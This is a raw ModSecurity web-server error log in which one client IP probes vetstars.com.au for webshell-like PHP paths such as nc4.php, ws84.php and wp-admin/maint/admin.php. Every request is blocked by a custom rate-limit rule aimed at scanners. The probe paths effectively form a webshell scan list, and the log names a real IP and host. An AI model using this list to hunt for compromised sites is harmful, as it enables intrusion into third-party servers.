[Tue Mar 24 21:21:29.081398 2026] [:error] [pid 3137:tid 3150] [client 20.19.171.59:9588] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acKP2ZdZesutm6dfYM9AFAAAAMs"]
[Tue Mar 24 21:21:29.564891 2026] [:error] [pid 3137:tid 3139] [client 20.19.171.59:10831] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acKP2ZdZesutm6dfYM9AFQAAAMA"]
[Tue Mar 24 21:21:30.056544 2026] [:error] [pid 48128:tid 48171] [client 20.19.171.59:13050] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "acKP2svR4LIMFLbM5Vk-cgAAAZI"]
[Tue Mar 24 21:21:30.603346 2026] [:error] [pid 38767:tid 38786] [client 20.19.171.59:11902] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acKP2vwkUqN4GJAI5oVTzwAAARA"]
[Tue Mar 24 21:21:31.079396 2026] [:error] [pid 48214:tid 48275] [client 20.19.171.59:42964] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acKP27eshLWZ3uUDHKl2jAAAAdc"]
[Tue Mar 24 21:21:31.617020 2026] [:error] [pid 38767:tid 38779] [client 20.19.171.59:42449] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acKP2_wkUqN4GJAI5oVT0AAAAQk"]
[Tue Mar 24 21:21:32.092864 2026] [:error] [pid 38767:tid 38775] [client 20.19.171.59:27919] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acKP3PwkUqN4GJAI5oVT0gAAAQU"]
[Tue Mar 24 21:21:32.615597 2026] [:error] [pid 3137:tid 3145] [client 20.19.171.59:40363] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acKP3JdZesutm6dfYM9AHQAAAMY"]
[Tue Mar 24 21:21:33.190592 2026] [:error] [pid 3030:tid 3070] [client 20.19.171.59:10832] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acKP3QyOuILyynfcqflk9AAAABU"]
[Tue Mar 24 21:21:33.810295 2026] [:error] [pid 3030:tid 3053] [client 20.19.171.59:23869] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acKP3QyOuILyynfcqflk9gAAAAQ"]
[Tue Mar 24 21:21:34.318730 2026] [:error] [pid 48214:tid 48265] [client 20.19.171.59:40330] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acKP3reshLWZ3uUDHKl2jgAAAc0"]
[Tue Mar 24 21:21:34.834837 2026] [:error] [pid 3031:tid 3077] [client 20.19.171.59:27909] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acKP3qJBKytnG47nuiY8JQAAAEE"]
[Tue Mar 24 21:21:35.515727 2026] [:error] [pid 3030:tid 3069] [client 20.19.171.59:19696] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acKP3wyOuILyynfcqflk-AAAABQ"]
[Tue Mar 24 21:21:36.050469 2026] [:error] [pid 38767:tid 38787] [client 20.19.171.59:10818] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acKP4PwkUqN4GJAI5oVT2wAAARE"]
[Tue Mar 24 21:21:36.629660 2026] [:error] [pid 38767:tid 38794] [client 20.19.171.59:1923] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "acKP4PwkUqN4GJAI5oVT4AAAARg"]
[Tue Mar 24 21:21:37.168687 2026] [:error] [pid 38767:tid 38785] [client 20.19.171.59:44834] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acKP4fwkUqN4GJAI5oVT5QAAAQ8"]
[Tue Mar 24 21:21:37.767058 2026] [:error] [pid 38767:tid 38770] [client 20.19.171.59:15314] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acKP4fwkUqN4GJAI5oVT5wAAAQA"]
[Tue Mar 24 21:21:38.518791 2026] [:error] [pid 38767:tid 38794] [client 20.19.171.59:40340] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acKP4vwkUqN4GJAI5oVT6wAAARg"]
[Tue Mar 24 21:21:39.044436 2026] [:error] [pid 38767:tid 38780] [client 20.19.171.59:11881] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "acKP4_wkUqN4GJAI5oVT7QAAAQo"]
[Tue Mar 24 21:21:39.626437 2026] [:error] [pid 3137:tid 3140] [client 20.19.171.59:16038] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acKP45dZesutm6dfYM9AIwAAAME"]
[Tue Mar 24 21:21:40.542814 2026] [:error] [pid 38767:tid 38778] [client 20.19.171.59:35813] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acKP5PwkUqN4GJAI5oVT8gAAAQg"]
[Tue Mar 24 21:21:41.338425 2026] [:error] [pid 3030:tid 3049] [client 20.19.171.59:11868] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acKP5QyOuILyynfcqflk-QAAAAA"]
[Tue Mar 24 21:21:42.035216 2026] [:error] [pid 38767:tid 38773] [client 20.19.171.59:44803] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "acKP5vwkUqN4GJAI5oVT9gAAAQM"]
[Tue Mar 24 21:21:43.608543 2026] [:error] [pid 38767:tid 38774] [client 20.19.171.59:42494] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acKP5_wkUqN4GJAI5oVT-QAAAQQ"]
[Tue Mar 24 21:21:44.674029 2026] [:error] [pid 38767:tid 38771] [client 20.19.171.59:14256] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acKP6PwkUqN4GJAI5oVT_wAAAQE"]
[Tue Mar 24 21:21:45.819288 2026] [:error] [pid 3137:tid 3143] [client 20.19.171.59:14215] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acKP6ZdZesutm6dfYM9ALgAAAMQ"]
[Tue Mar 24 21:21:46.933339 2026] [:error] [pid 48219:tid 48303] [client 20.19.171.59:14232] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acKP6ihf3b4R_lAIyv-LYQAAAhY"]
[Tue Mar 24 21:21:47.663338 2026] [:error] [pid 3137:tid 3139] [client 20.19.171.59:10541] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acKP65dZesutm6dfYM9ANgAAAMA"]
[Tue Mar 24 21:21:49.157556 2026] [:error] [pid 38767:tid 38789] [client 20.19.171.59:9538] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acKP7fwkUqN4GJAI5oVUBQAAARM"]
[Tue Mar 24 21:21:49.907677 2026] [:error] [pid 3137:tid 3145] [client 20.19.171.59:14263] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acKP7ZdZesutm6dfYM9APAAAAMY"]
[Tue Mar 24 21:21:51.629117 2026] [:error] [pid 64198:tid 64209] [client 20.19.171.59:9564] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acKP73VzJqf6OS_oSZ3LYQAAAUk"]
[Tue Mar 24 21:21:53.329854 2026] [:error] [pid 3031:tid 3098] [client 20.19.171.59:10618] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acKP8aJBKytnG47nuiY8KgAAAFY"]
[Tue Mar 24 21:21:54.201648 2026] [:error] [pid 48219:tid 48301] [client 20.19.171.59:40369] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acKP8ihf3b4R_lAIyv-LaQAAAhQ"]
[Tue Mar 24 21:21:55.116363 2026] [:error] [pid 48219:tid 48297] [client 20.19.171.59:10685] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acKP8yhf3b4R_lAIyv-LbAAAAhA"]
[Tue Mar 24 21:21:55.965517 2026] [:error] [pid 48219:tid 48294] [client 20.19.171.59:10229] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acKP8yhf3b4R_lAIyv-LbwAAAg0"]
[Tue Mar 24 21:21:56.798112 2026] [:error] [pid 3032:tid 3108] [client 20.19.171.59:15300] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acKP9Ca_-JXXD03-JNxdFAAAAIU"]
[Tue Mar 24 21:21:57.717027 2026] [:error] [pid 48219:tid 48298] [client 20.19.171.59:10497] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acKP9Shf3b4R_lAIyv-LdAAAAhE"]
[Tue Mar 24 21:21:58.536498 2026] [:error] [pid 48214:tid 48255] [client 20.19.171.59:10668] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acKP9reshLWZ3uUDHKl2kwAAAcM"]
[Tue Mar 24 21:21:59.597305 2026] [:error] [pid 3030:tid 3049] [client 20.19.171.59:40323] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acKP9wyOuILyynfcqfllBgAAAAA"]
[Tue Mar 24 21:22:00.535768 2026] [:error] [pid 3030:tid 3050] [client 20.19.171.59:10532] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acKP-AyOuILyynfcqfllCAAAAAE"]
[Tue Mar 24 21:22:01.168333 2026] [:error] [pid 3031:tid 3085] [client 20.19.171.59:10225] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acKP-aJBKytnG47nuiY8LQAAAEk"]
[Tue Mar 24 21:22:01.920909 2026] [:error] [pid 48214:tid 48270] [client 20.19.171.59:42465] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acKP-beshLWZ3uUDHKl2mwAAAdI"]
[Tue Mar 24 21:22:02.695746 2026] [:error] [pid 38767:tid 38790] [client 20.19.171.59:9504] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "acKP-vwkUqN4GJAI5oVUDwAAARQ"]
[Tue Mar 24 21:22:03.251714 2026] [:error] [pid 38767:tid 38776] [client 20.19.171.59:1933] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acKP-_wkUqN4GJAI5oVUEgAAAQY"]
[Tue Mar 24 21:22:03.936338 2026] [:error] [pid 3030:tid 3063] [client 20.19.171.59:13013] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acKP-wyOuILyynfcqfllCgAAAA4"]
[Tue Mar 24 21:22:04.662836 2026] [:error] [pid 64198:tid 64202] [client 20.19.171.59:9499] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acKP_HVzJqf6OS_oSZ3LhQAAAUI"]
[Tue Mar 24 21:22:05.566033 2026] [:error] [pid 3032:tid 3113] [client 20.19.171.59:35835] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acKP_Sa_-JXXD03-JNxdFwAAAIo"]
[Tue Mar 24 21:22:06.362097 2026] [:error] [pid 48214:tid 48275] [client 20.19.171.59:14248] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "acKP_reshLWZ3uUDHKl2oQAAAdc"]
[Tue Mar 24 21:22:07.352623 2026] [:error] [pid 38767:tid 38788] [client 20.19.171.59:13015] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "acKP__wkUqN4GJAI5oVUFgAAARI"]
[Tue Mar 24 21:22:07.906475 2026] [:error] [pid 3137:tid 3163] [client 20.19.171.59:11889] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "acKP_5dZesutm6dfYM9AQgAAANg"]
[Tue Mar 24 21:22:08.508168 2026] [:error] [pid 48128:tid 48156] [client 20.19.171.59:19672] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "acKQAMvR4LIMFLbM5Vk-fwAAAYY"]
[Tue Mar 24 21:22:09.844711 2026] [:error] [pid 48214:tid 48259] [client 20.19.171.59:42464] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acKQAbeshLWZ3uUDHKl2qgAAAcc"]
[Tue Mar 24 21:22:10.464360 2026] [:error] [pid 48214:tid 48268] [client 20.19.171.59:7597] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acKQAreshLWZ3uUDHKl2rwAAAdA"]
[Tue Mar 24 21:22:11.103533 2026] [:error] [pid 48214:tid 48257] [client 20.19.171.59:35812] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acKQA7eshLWZ3uUDHKl2tAAAAcU"]
[Tue Mar 24 21:22:11.646654 2026] [:error] [pid 3137:tid 3140] [client 20.19.171.59:10654] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acKQA5dZesutm6dfYM9ARAAAAME"]
[Tue Mar 24 21:22:12.254157 2026] [:error] [pid 3137:tid 3145] [client 20.19.171.59:10850] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "acKQBJdZesutm6dfYM9ARwAAAMY"]
